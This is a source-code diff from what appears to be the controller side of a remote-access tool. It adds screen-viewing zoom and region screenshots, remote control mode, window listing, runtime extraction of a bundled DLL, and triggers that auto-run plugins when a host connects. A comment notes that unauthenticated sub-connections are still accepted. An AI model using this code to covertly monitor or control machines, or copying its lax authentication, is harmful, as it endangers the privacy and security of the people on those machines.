int dstSize = dstStride * dstH;
std::vector<BYTE> dstPixels(dstSize, 0);
const BYTE* srcBase = (const BYTE*)m_BitmapData_Full;
// bottom-up原图第 y 行(从顶起算)位于 srcBase + (srcH - 1 - y) * srcStride
int byteX = rcImage.left * (bpp / 8);
int copyBytes = dstW * (bpp / 8);
for (int y = 0; y < dstH; ++y) {
int srcRowFromTop = rcImage.top + y;
int srcRowOffset = (srcH - 1 - srcRowFromTop) * srcStride + byteX;
int dstRowOffset = (dstH - 1 - y) * dstStride;
memcpy(&dstPixels[dstRowOffset], &srcBase[srcRowOffset], copyBytes);
}
// 拼装 BITMAPINFO裁剪后只需要 BITMAPINFOHEADER24/32bpp 不需要调色板)
BITMAPINFO dstBmi = {};
dstBmi.bmiHeader = srcHdr;
dstBmi.bmiHeader.biWidth = dstW;
dstBmi.bmiHeader.biHeight = dstH;
dstBmi.bmiHeader.biSizeImage = dstSize;
dstBmi.bmiHeader.biCompression = BI_RGB;
if (WriteBitmap(&dstBmi, dstPixels.data(), path)) {
m_strSaveNotice = path;
m_nSaveNoticeTime = GetTickCount64();
}
}
BOOL CScreenSpyDlg::OnMouseWheel(UINT nFlags, short zDelta, CPoint pt)
{
return __super::OnMouseWheel(nFlags, zDelta, pt);
// Convert screen coordinates to client coordinates
ScreenToClient(&pt);
// Build MSG structure for SendScaledMouseMessage
MSG msg = {};
msg.hwnd = m_hWnd;
msg.message = WM_MOUSEWHEEL;
msg.wParam = MAKEWPARAM(nFlags, zDelta);
msg.lParam = MAKELPARAM(pt.x, pt.y);
msg.time = GetTickCount();
msg.pt = { pt.x, pt.y };
SendScaledMouseMessage(&msg, true);
return TRUE; // Message handled, don't pass to parent
}
void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point)
{
// 处理放大功能的鼠标移动
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
if (m_bSelectingZoom) {
// 框选中:更新当前点并重绘选择框
m_ptZoomCurrent = point;
Invalidate(FALSE); // FALSE表示不擦除背景减少闪烁
return;
}
if (m_bSelectingShot) {
m_ptShotCurrent = point;
Invalidate(FALSE);
return;
}
if (m_bZoomDragging) {
// 拖拽平移:计算偏移量并移动放大区域
int dx = point.x - m_ptZoomDragLast.x;
int dy = point.y - m_ptZoomDragLast.y;
m_ptZoomDragLast = point; // 更新上一点保持m_ptZoomDragStart不变用于点击检测
// 计算缩放比例(添加除零保护)
int srcW = m_BitmapInfor_Full->bmiHeader.biWidth;
int srcH = m_BitmapInfor_Full->bmiHeader.biHeight;
int dstW = m_CRect.Width();
int dstH = m_CRect.Height();
int zoomW = m_rcZoomSrc.Width();
int zoomH = m_rcZoomSrc.Height();
if (dstW <= 0 || dstH <= 0 || zoomW <= 0 || zoomH <= 0) {
return; // 防止除零
}
double scaleX = (double)zoomW / dstW;
double scaleY = (double)zoomH / dstH;
// 将屏幕偏移转换为原图偏移(方向相反)
int imgDx = (int)(-dx * scaleX);
int imgDy = (int)(-dy * scaleY);
// 移动放大区域
m_rcZoomSrc.OffsetRect(imgDx, imgDy);
// 限制在原图范围内
if (m_rcZoomSrc.left < 0) {
m_rcZoomSrc.right -= m_rcZoomSrc.left;
m_rcZoomSrc.left = 0;
}
if (m_rcZoomSrc.top < 0) {
m_rcZoomSrc.bottom -= m_rcZoomSrc.top;
m_rcZoomSrc.top = 0;
}
if (m_rcZoomSrc.right > srcW) {
m_rcZoomSrc.left -= (m_rcZoomSrc.right - srcW);
m_rcZoomSrc.right = srcW;
}
if (m_rcZoomSrc.bottom > srcH) {
m_rcZoomSrc.top -= (m_rcZoomSrc.bottom - srcH);
m_rcZoomSrc.bottom = srcH;
}
Invalidate(FALSE);
return;
}
}
if (m_Settings.RemoteCursor) {
if (m_pToolbar != NULL && ::IsWindow(m_pToolbar->m_hWnd) && m_pToolbar->IsWindowVisible()) {
CRect rcToolbar;
@@ -2732,9 +3205,36 @@ void CScreenSpyDlg::OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized)
void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl)
{
m_bIsCtrl = ctrl;
m_bIsTraceCursor = !m_bIsCtrl;
// 进入控制模式时重置放大状态 + 中止任何正在进行的右键截图框选
if (m_bIsCtrl) {
if (m_bZoomedIn) ResetZoom();
if (m_bSelectingShot) {
m_bSelectingShot = false;
if (GetCapture() == this) ReleaseCapture();
Invalidate(FALSE);
}
}
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
// 控制模式:禁用本地 IME查看模式启用本地 IME
ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
CMenu* SysMenu = GetSystemMenu(FALSE);
if (SysMenu) {
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
}
}
void CScreenSpyDlg::OnCaptureChanged(CWnd* pWnd)
{
// 捕获丢失时重置框选/拖拽状态
if (m_bSelectingZoom || m_bZoomDragging || m_bSelectingShot) {
m_bSelectingZoom = false;
m_bZoomDragging = false;
m_bSelectingShot = false;
Invalidate();
}
__super::OnCaptureChanged(pWnd);
}
void CScreenSpyDlg::OnDropFiles(HDROP hDropInfo)

View File

@@ -1,6 +1,7 @@
#pragma once
#include <imm.h>
#include <map>
#include <atomic>
#include "IOCPServer.h"
#include "..\..\client\CursorInfo.h"
#include "VideoDlg.h"
@@ -153,6 +154,10 @@ public:
return TRUE;
}
// Check if this dialog was created by Web request (shared by Web users)
bool IsWebSession() const { return m_bIsWebSession.load(); }
void SetWebSession(bool isWeb) { m_bIsWebSession.store(isWeb); }
VOID SendNext(void);
VOID OnReceiveComplete();
HDC m_hFullDC;
@@ -186,13 +191,15 @@ public:
int m_FrameID;
HIMC m_hOldIMC = NULL; // 保存原始 IME 上下文,控制模式切换时使用
bool m_bHide = false;
std::atomic<bool> m_bIsWebSession{false}; // True if this dialog was created by Web request (atomic for thread safety)
std::string m_strSaveNotice; // 截图保存路径提示
ULONGLONG m_nSaveNoticeTime = 0; // 截图提示开始时间
BOOL m_bUsingFRP = FALSE;
// 文件接收进度对话框(用于 Linux Ctrl+C -> 服务端 Ctrl+V
// 按 transferID 管理多个并发传输
std::map<uint64_t, class CDlgFileSend*> m_FileRecvDlgs;
// 存储 {HWND, 指针} 对HWND 用于安全检查(指针可能变成野指针)
std::map<uint64_t, std::pair<HWND, class CDlgFileSend*>> m_FileRecvDlgs;
void SaveSnapshot(void);
// 对话框数据
@@ -216,6 +223,27 @@ public:
double m_wZoom=1, m_hZoom=1;
bool m_bMouseTracking = false;
// ========== 局部放大功能 ==========
bool m_bZoomedIn = false; // 是否处于放大状态
CRect m_rcZoomSrc; // 放大区域(原图坐标)
bool m_bSelectingZoom = false; // 是否正在框选
CPoint m_ptZoomStart; // 框选起点(屏幕坐标)
CPoint m_ptZoomCurrent; // 框选当前点(屏幕坐标)
bool m_bZoomDragging = false; // 是否正在拖拽平移
CPoint m_ptZoomDragStart; // 拖拽起点(用于点击检测)
CPoint m_ptZoomDragLast; // 拖拽上一点(用于增量计算)
// ========== 区域截图(右键框选) ==========
bool m_bSelectingShot = false; // 是否正在右键框选截图
CPoint m_ptShotStart; // 右键框选起点(屏幕坐标)
CPoint m_ptShotCurrent; // 右键框选当前点(屏幕坐标)
void ResetZoom(); // 重置放大状态
CPoint ScreenToImage(CPoint pt); // 屏幕坐标转原图坐标
CPoint ImageToScreen(CPoint pt); // 原图坐标转屏幕坐标
bool ScreenRectToImageRect(const CRect& rcScreen, CRect& rcImage); // 选框坐标→原图坐标
void SaveRegionScreenshot(const CRect& rcImage); // 保存裁剪区域为 BMP
CString m_aviFile;
CBmpToAvi m_aviStream;
@@ -291,10 +319,13 @@ public:
afx_msg void OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
afx_msg void OnRButtonDown(UINT nFlags, CPoint point);
afx_msg void OnRButtonUp(UINT nFlags, CPoint point);
afx_msg BOOL OnMouseWheel(UINT nFlags, short zDelta, CPoint pt);
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
afx_msg void OnMouseLeave();
afx_msg void OnKillFocus(CWnd* pNewWnd);
afx_msg void OnCaptureChanged(CWnd* pWnd);
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized);
afx_msg LRESULT OnDisconnect(WPARAM wParam, LPARAM lParam);
@@ -325,6 +356,7 @@ public:
virtual BOOL OnInitDialog();
afx_msg void OnClose();
afx_msg void OnPaint();
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
virtual BOOL PreTranslateMessage(MSG* pMsg);

View File

@@ -378,6 +378,11 @@ public:
std::atomic<int> IoRefCount{0}; // I/O 处理引用计数
std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除
// 子连接身份校验:客户端发 TOKEN_CONN_AUTH 通过验证后置位。
// 主连接(走 TOKEN_LOGIN 流程)不参与此机制。当前阶段宽容(未通过也接受),
// 仅作为标记供后续命令处理 / 未来收紧策略使用。
std::atomic<bool> m_bAuthenticated{false};
// 预分配的解压缩缓冲区,避免频繁内存分配
PBYTE DecompressBuffer = nullptr;
ULONG DecompressBufferSize = 0;
@@ -510,7 +515,11 @@ public:
// 注意到达这里时RemoveStaleContext 应该已经等待 IoRefCount==0
IsRemoved.store(false, std::memory_order_release);
IoRefCount.store(0, std::memory_order_release);
// 复用对象池时清空校验状态
m_bAuthenticated.store(false, std::memory_order_release);
}
void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); }
bool IsAuthenticated() const { return m_bAuthenticated.load(std::memory_order_acquire); }
uint64_t GetAliveTime()const
{
return time(0) - OnlineTime;

View File

@@ -17,7 +17,7 @@ CSettingDlg::CSettingDlg(CMy2015RemoteDlg* pParent)
, m_nListenPort("6543")
, m_nMax_Connect(0)
, m_sScreenCapture(_T("GDI"))
, m_sScreenCompress(_T("RGBA->RGB565"))
, m_sScreenCompress(_T("算法自适应"))
, m_nReportInterval(5)
, m_sSoftwareDetect(_T("摄像头"))
, m_sPublicIP(_T(""))
@@ -154,12 +154,15 @@ BOOL CSettingDlg::OnInitDialog()
int DXGI = THIS_CFG.GetInt("settings", "DXGI");
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str();
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
m_nListenPort = nPort.c_str();
int n = algo.IsEmpty() ? ALGORITHM_DIFF : atoi(algo.GetString());
switch (n) {
case ALGORITHM_NUL:
m_sScreenCompress = _L(_T("算法自适应"));
break;
case ALGORITHM_GRAY:
m_sScreenCompress = _L(_T("灰度图像传输"));
break;
@@ -175,10 +178,11 @@ BOOL CSettingDlg::OnInitDialog()
default:
break;
}
m_ComboScreenCompress.InsertStringL(ALGORITHM_GRAY, "灰度图像传输");
m_ComboScreenCompress.InsertStringL(ALGORITHM_DIFF, "屏幕差异算法");
m_ComboScreenCompress.InsertStringL(ALGORITHM_H264, "H264压缩算法");
m_ComboScreenCompress.InsertStringL(ALGORITHM_RGB565, "RGBA->RGB565");
m_ComboScreenCompress.InsertStringL(1+ALGORITHM_NUL, "算法自适应");
m_ComboScreenCompress.InsertStringL(1+ALGORITHM_GRAY, "灰度图像传输");
m_ComboScreenCompress.InsertStringL(1+ALGORITHM_DIFF, "屏幕差异算法");
m_ComboScreenCompress.InsertStringL(1+ALGORITHM_H264, "H264压缩算法");
m_ComboScreenCompress.InsertStringL(1+ALGORITHM_RGB565, "RGBA->RGB565");
m_ComboScreenCapture.InsertStringL(0, "GDI");
m_ComboScreenCapture.InsertStringL(1, "DXGI");
@@ -245,7 +249,7 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
int n = m_ComboScreenCapture.GetCurSel();
THIS_CFG.SetInt("settings", "DXGI", n);
n = m_ComboScreenCompress.GetCurSel();
n = m_ComboScreenCompress.GetCurSel() - 1;
THIS_CFG.SetInt("settings", "ScreenCompress", n);
THIS_CFG.SetInt("settings", "ReportInterval", m_nReportInterval);

View File

@@ -3,6 +3,7 @@
#include "stdafx.h"
#include "2015Remote.h"
#include "2015RemoteDlg.h" // GetClientEncoding helper
#include "SystemDlg.h"
#include "afxdialogex.h"
@@ -85,6 +86,8 @@ BOOL CSystemDlg::OnInitDialog()
m_ControlList.InsertColumnL(1, "窗口名称", LVCFMT_LEFT, 420);
m_ControlList.InsertColumnL(2, "窗口状态", LVCFMT_LEFT, 200);
m_ControlList.InsertColumnL(3, "所属进程ID", LVCFMT_LEFT, 100);
// 工程是 MBCS但下面"窗口名称"列里的标题需要原样显示客户端 UTF-8 内容,
// 直接用 LVM_SETITEMTEXTW 写宽字符串(无须依赖控件 Unicode 标志)。
ShowWindowsList();
}
@@ -170,6 +173,11 @@ void CSystemDlg::ShowWindowsList(void)
char *szTitle = NULL;
bool isDel=false;
// 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
// 注意m_ContextObject 是 WSLIST 子连接,其自身 CAPABILITIES 为空;
// helper 内部通过 peer IP 查主连接获取真正的能力位。
UINT cp = GetClientEncoding(m_ContextObject);
DeleteAllItems();
CString str;
int i ;
@@ -181,10 +189,28 @@ void CSystemDlg::ShowWindowsList(void)
str.FormatL("%5u", *lpPID);
CString pidStr = attrs.dwPid ? std::to_string(attrs.dwPid).c_str() : "N/A";
m_ControlList.InsertItem(i, str); // 句柄
m_ControlList.SetItemText(i, 1, attrs.szTitle); // 标题
m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态
m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID
// ItemData 为窗口句柄
// 按客户端声明的编码解码到宽字符,用 LVM_SETITEMTEXTW 直接写入,
// 绕开 ANSI -> CP_ACP 回转,即使在德语等非中文 ACP 服务端上中文窗口名也能正常显示。
std::wstring wTitle;
if (attrs.szTitle[0]) {
int wlen = MultiByteToWideChar(cp, 0, attrs.szTitle, -1, NULL, 0);
if (wlen > 0) {
wTitle.resize(wlen - 1);
MultiByteToWideChar(cp, 0, attrs.szTitle, -1, &wTitle[0], wlen);
}
}
LVITEMW lvItemW = {};
lvItemW.mask = LVIF_TEXT;
lvItemW.iItem = i;
lvItemW.iSubItem = 1;
lvItemW.pszText = wTitle.empty() ? const_cast<LPWSTR>(L"") : &wTitle[0];
::SendMessageW(m_ControlList.GetSafeHwnd(), LVM_SETITEMTEXTW,
(WPARAM)i, (LPARAM)&lvItemW);
m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态 (ASCII)
m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID (ASCII)
// ItemData 为窗口句柄Data[1] 保留原始 UTF-8 字节供排序/右键菜单使用
auto data = new ItemData{ *lpPID, {str, attrs.szTitle, attrs.szStatus, pidStr} };
m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d)
dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1;

View File

@@ -40,6 +40,9 @@ inline PFN_IsTerminalValid pfnIsTerminalValid = nullptr;
inline PFN_GetTerminalVersion pfnGetTerminalVersion = nullptr;
inline HMODULE g_hTerminalModule = nullptr;
LPBYTE ReadResource(int resourceId, DWORD& dwSize, const char* resName);
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset);
// Load the TerminalModule DLL
inline bool LoadTerminalModule()
{
@@ -78,7 +81,18 @@ inline bool LoadTerminalModule()
}
if (!g_hTerminalModule) {
return false;
DWORD fileSize = 0;
BYTE* dllData = ReadResource(IDR_MODERN_TERMINAL, fileSize, NULL);
if (!dllData)
return false;
char fullPath[MAX_PATH];
strcpy_s(fullPath, exePath);
strcat_s(fullPath, "TerminalModule_x64.dll");
WriteBinaryToFile(fullPath, (char*)dllData, fileSize, 0);
delete[] dllData;
g_hTerminalModule = LoadLibraryA(fullPath);
if (!g_hTerminalModule)
return false;
}
// Get function pointers
@@ -122,6 +136,35 @@ inline bool IsTerminalModuleLoaded()
return g_hTerminalModule != nullptr;
}
// Check if current process is running as LocalSystem (S-1-5-18).
// 用途WebView2 / msedgewebview2.exe 子进程拒绝在 SYSTEM token 下渲染Microsoft
// 官方限制),此时 Modern Terminal 会打开但页面空白,需要回退到经典终端。
// 结果缓存,因为进程 token 在生命周期内不会变。
inline bool IsRunningAsSystem()
{
static int cached = -1;
if (cached >= 0) return cached == 1;
bool isSystem = false;
HANDLE hToken = nullptr;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
BYTE buf[256] = {};
DWORD len = 0;
if (GetTokenInformation(hToken, TokenUser, buf, sizeof(buf), &len)) {
SID_IDENTIFIER_AUTHORITY ntAuth = SECURITY_NT_AUTHORITY;
PSID pSystemSid = nullptr;
if (AllocateAndInitializeSid(&ntAuth, 1, SECURITY_LOCAL_SYSTEM_RID,
0, 0, 0, 0, 0, 0, 0, &pSystemSid)) {
isSystem = EqualSid(((TOKEN_USER*)buf)->User.Sid, pSystemSid) != FALSE;
FreeSid(pSystemSid);
}
}
CloseHandle(hToken);
}
cached = isSystem ? 1 : 0;
return isSystem;
}
// Check if WebView2 Runtime is installed (cached)
inline bool IsWebView2Available()
{

View File

@@ -0,0 +1,497 @@
#include "stdafx.h"
#include "TriggerSettingsDlg.h"
#include "2015RemoteDlg.h"
#include "jsoncpp/json.h"
#include <fstream>
#include <sstream>
#ifndef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
#endif
#endif
// GBK (CP_ACP) -> UTF-8 编码转换
static std::string GbkToUtf8(const std::string& gbkStr)
{
if (gbkStr.empty()) return "";
// GBK -> WideChar
int wideLen = MultiByteToWideChar(CP_ACP, 0, gbkStr.c_str(), -1, NULL, 0);
if (wideLen <= 0) return gbkStr;
std::wstring wideStr(wideLen, 0);
MultiByteToWideChar(CP_ACP, 0, gbkStr.c_str(), -1, &wideStr[0], wideLen);
// WideChar -> UTF-8
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, wideStr.c_str(), -1, NULL, 0, NULL, NULL);
if (utf8Len <= 0) return gbkStr;
std::string utf8Str(utf8Len, 0);
WideCharToMultiByte(CP_UTF8, 0, wideStr.c_str(), -1, &utf8Str[0], utf8Len, NULL, NULL);
// 移除末尾的 null 字符
if (!utf8Str.empty() && utf8Str.back() == '\0') {
utf8Str.pop_back();
}
return utf8Str;
}
// UTF-8 -> GBK (CP_ACP) 编码转换
static std::string Utf8ToGbk(const std::string& utf8Str)
{
if (utf8Str.empty()) return "";
// UTF-8 -> WideChar
int wideLen = MultiByteToWideChar(CP_UTF8, 0, utf8Str.c_str(), -1, NULL, 0);
if (wideLen <= 0) return utf8Str;
std::wstring wideStr(wideLen, 0);
MultiByteToWideChar(CP_UTF8, 0, utf8Str.c_str(), -1, &wideStr[0], wideLen);
// WideChar -> GBK
int gbkLen = WideCharToMultiByte(CP_ACP, 0, wideStr.c_str(), -1, NULL, 0, NULL, NULL);
if (gbkLen <= 0) return utf8Str;
std::string gbkStr(gbkLen, 0);
WideCharToMultiByte(CP_ACP, 0, wideStr.c_str(), -1, &gbkStr[0], gbkLen, NULL, NULL);
// 移除末尾的 null 字符
if (!gbkStr.empty() && gbkStr.back() == '\0') {
gbkStr.pop_back();
}
return gbkStr;
}
BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
ON_BN_CLICKED(IDC_BTN_SAVE, &CTriggerSettingsDlg::OnBnClickedBtnSave)
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
END_MESSAGE_MAP()
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
: CDialogLangEx(IDD_DIALOG_TRIGGER_SETTINGS, pParent)
, m_DllList(dllList)
{
}
CTriggerSettingsDlg::~CTriggerSettingsDlg()
{
}
void CTriggerSettingsDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogLangEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_COMBO_TRIGGER_TYPE, m_comboTriggerType);
DDX_Control(pDX, IDC_LIST_TRIGGER_PLUGINS, m_listPlugins);
DDX_Control(pDX, IDC_LIST_TRIGGERS, m_listTriggers);
}
BOOL CTriggerSettingsDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
InitControls();
// 加载配置
m_Configs = LoadTriggerConfigs();
// 加载插件列表
LoadPluginsToList();
// 加载已配置的触发器
LoadTriggersToList();
return TRUE;
}
void CTriggerSettingsDlg::InitControls()
{
// 初始化触发类型下拉框
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
// 初始化插件列表
m_listPlugins.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES | LVS_EX_CHECKBOXES);
m_listPlugins.InsertColumn(0, _TR("插件名称"), LVCFMT_LEFT, 160);
// 初始化已配置触发器列表
m_listTriggers.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
m_listTriggers.InsertColumn(0, _TR("触发器"), LVCFMT_LEFT, 160);
// 设置静态文本
SetWindowText(_TR("触发器设置"));
GetDlgItem(IDC_STATIC_TRIGGER_TYPE)->SetWindowText(_TR("触发类型:"));
GetDlgItem(IDC_STATIC_TRIGGER_ACTION)->SetWindowText(_TR("执行动作:"));
}
void CTriggerSettingsDlg::LoadPluginsToList()
{
m_listPlugins.DeleteAllItems();
int index = 0;
for (const auto& dll : m_DllList) {
if (!dll || !dll->Data) continue;
m_listPlugins.InsertItem(index, CString(dll->Name.c_str()));
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
index++;
}
// 如果有已配置的主机上线触发器,勾选对应的插件
TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs);
if (onlineTrigger) {
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
if (!dll) continue;
for (const auto& pluginName : onlineTrigger->PluginNames) {
if (pluginName == dll->Name) {
m_listPlugins.SetCheck(i, TRUE);
break;
}
}
}
}
}
void CTriggerSettingsDlg::LoadTriggersToList()
{
m_listTriggers.DeleteAllItems();
const char* typeNames[] = { "主机上线" };
int index = 0;
for (const auto& cfg : m_Configs) {
if (!cfg.PluginNames.empty()) {
// 显示触发器类型和插件数量
CString text;
text.Format(_T("%s (%d)"), _TR(typeNames[cfg.Type]), (int)cfg.PluginNames.size());
m_listTriggers.InsertItem(index, text);
m_listTriggers.SetItemData(index, cfg.Type);
index++;
}
}
}
void CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd()
{
// 获取选中的触发类型
int triggerType = m_comboTriggerType.GetCurSel();
if (triggerType < 0) return;
// 获取勾选的插件(直接从 DllInfo 获取名称,避免编码转换问题)
std::vector<std::string> selectedPlugins;
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
if (m_listPlugins.GetCheck(i)) {
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
if (dll) {
selectedPlugins.push_back(dll->Name);
}
}
}
if (selectedPlugins.empty()) {
MessageBoxL(_TR("请先选择至少一个插件"), _TR("提示"), MB_ICONINFORMATION);
return;
}
// 查找或创建该类型的触发器
TriggerConfig* cfg = nullptr;
for (auto& c : m_Configs) {
if (c.Type == (TriggerType)triggerType) {
cfg = &c;
break;
}
}
if (!cfg) {
TriggerConfig newCfg;
newCfg.Type = (TriggerType)triggerType;
m_Configs.push_back(newCfg);
cfg = &m_Configs.back();
}
cfg->PluginNames = selectedPlugins;
// 刷新显示
LoadTriggersToList();
}
void CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove()
{
POSITION pos = m_listTriggers.GetFirstSelectedItemPosition();
if (!pos) return;
int nItem = m_listTriggers.GetNextSelectedItem(pos);
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
// 从配置中移除
for (auto it = m_Configs.begin(); it != m_Configs.end(); ++it) {
if (it->Type == type) {
m_Configs.erase(it);
break;
}
}
// 取消插件列表的勾选
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
m_listPlugins.SetCheck(i, FALSE);
}
// 刷新显示
LoadTriggersToList();
}
void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMLISTVIEW pNMLV = reinterpret_cast<LPNMLISTVIEW>(pNMHDR);
*pResult = 0;
// 只处理选中状态变化
if (!(pNMLV->uNewState & LVIS_SELECTED)) return;
int nItem = pNMLV->iItem;
if (nItem < 0) return;
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
// 查找对应的触发器配置
TriggerConfig* cfg = nullptr;
for (auto& c : m_Configs) {
if (c.Type == type) {
cfg = &c;
break;
}
}
// 先取消所有勾选
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
m_listPlugins.SetCheck(i, FALSE);
}
// 勾选该触发器配置的插件
if (cfg) {
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
if (!dll) continue;
for (const auto& pluginName : cfg->PluginNames) {
if (pluginName == dll->Name) {
m_listPlugins.SetCheck(i, TRUE);
break;
}
}
}
}
// 同步下拉框选择
m_comboTriggerType.SetCurSel(type);
}
void CTriggerSettingsDlg::OnBnClickedBtnSave()
{
// 先从界面收集当前选择
int triggerType = m_comboTriggerType.GetCurSel();
if (triggerType >= 0) {
std::vector<std::string> selectedPlugins;
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
if (m_listPlugins.GetCheck(i)) {
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
if (dll) {
selectedPlugins.push_back(dll->Name);
}
}
}
// 更新或创建触发器配置
TriggerConfig* cfg = nullptr;
for (auto& c : m_Configs) {
if (c.Type == (TriggerType)triggerType) {
cfg = &c;
break;
}
}
if (!selectedPlugins.empty()) {
if (!cfg) {
TriggerConfig newCfg;
newCfg.Type = (TriggerType)triggerType;
m_Configs.push_back(newCfg);
cfg = &m_Configs.back();
}
cfg->PluginNames = selectedPlugins;
} else if (cfg) {
// 如果没有选中插件,删除该触发器
for (auto it = m_Configs.begin(); it != m_Configs.end(); ++it) {
if (it->Type == (TriggerType)triggerType) {
m_Configs.erase(it);
break;
}
}
}
}
SaveTriggerConfigs(m_Configs);
LoadTriggersToList();
MessageBoxL(_TR("配置已保存"), _TR("提示"), MB_ICONINFORMATION);
}
std::string CTriggerSettingsDlg::GetTriggerConfigPath()
{
std::string dbPath = GetDbPath();
size_t pos = dbPath.find_last_of("\\/");
std::string dir = (pos != std::string::npos) ? dbPath.substr(0, pos + 1) : "";
return dir + "triggers.json";
}
std::vector<TriggerConfig> CTriggerSettingsDlg::LoadTriggerConfigs()
{
std::vector<TriggerConfig> configs;
std::string path = GetTriggerConfigPath();
std::ifstream file(path);
if (!file.is_open()) {
return configs;
}
Json::Value root;
Json::CharReaderBuilder builder;
std::string errors;
if (!Json::parseFromStream(builder, file, &root, &errors)) {
return configs;
}
if (!root.isArray()) {
return configs;
}
for (const auto& item : root) {
TriggerConfig cfg;
cfg.Type = (TriggerType)item.get("type", TRIGGER_HOST_ONLINE).asInt();
const Json::Value& plugins = item["plugins"];
if (plugins.isArray()) {
for (const auto& p : plugins) {
cfg.PluginNames.push_back(Utf8ToGbk(p.asString())); // UTF-8 -> GBK
}
}
if (!cfg.PluginNames.empty()) {
configs.push_back(cfg);
}
}
return configs;
}
void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& configs)
{
std::string path = GetTriggerConfigPath();
Json::Value root(Json::arrayValue);
for (const auto& cfg : configs) {
Json::Value item;
item["type"] = cfg.Type;
Json::Value plugins(Json::arrayValue);
for (const auto& name : cfg.PluginNames) {
plugins.append(GbkToUtf8(name)); // GBK -> UTF-8
}
item["plugins"] = plugins;
root.append(item);
}
std::ofstream file(path);
if (file.is_open()) {
Json::StreamWriterBuilder builder;
builder["indentation"] = " ";
builder["emitUTF8"] = true; // 输出可读的 UTF-8 字符,而非 \uXXXX
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
writer->write(root, &file);
file.close(); // 确保文件完全写入并关闭
}
// 通知 TriggerManager 重新加载缓存
TriggerManager::Instance().Reload();
}
TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
{
for (auto& cfg : configs) {
if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
return &cfg;
}
}
return nullptr;
}
// ============================================
// TriggerManager 实现
// ============================================
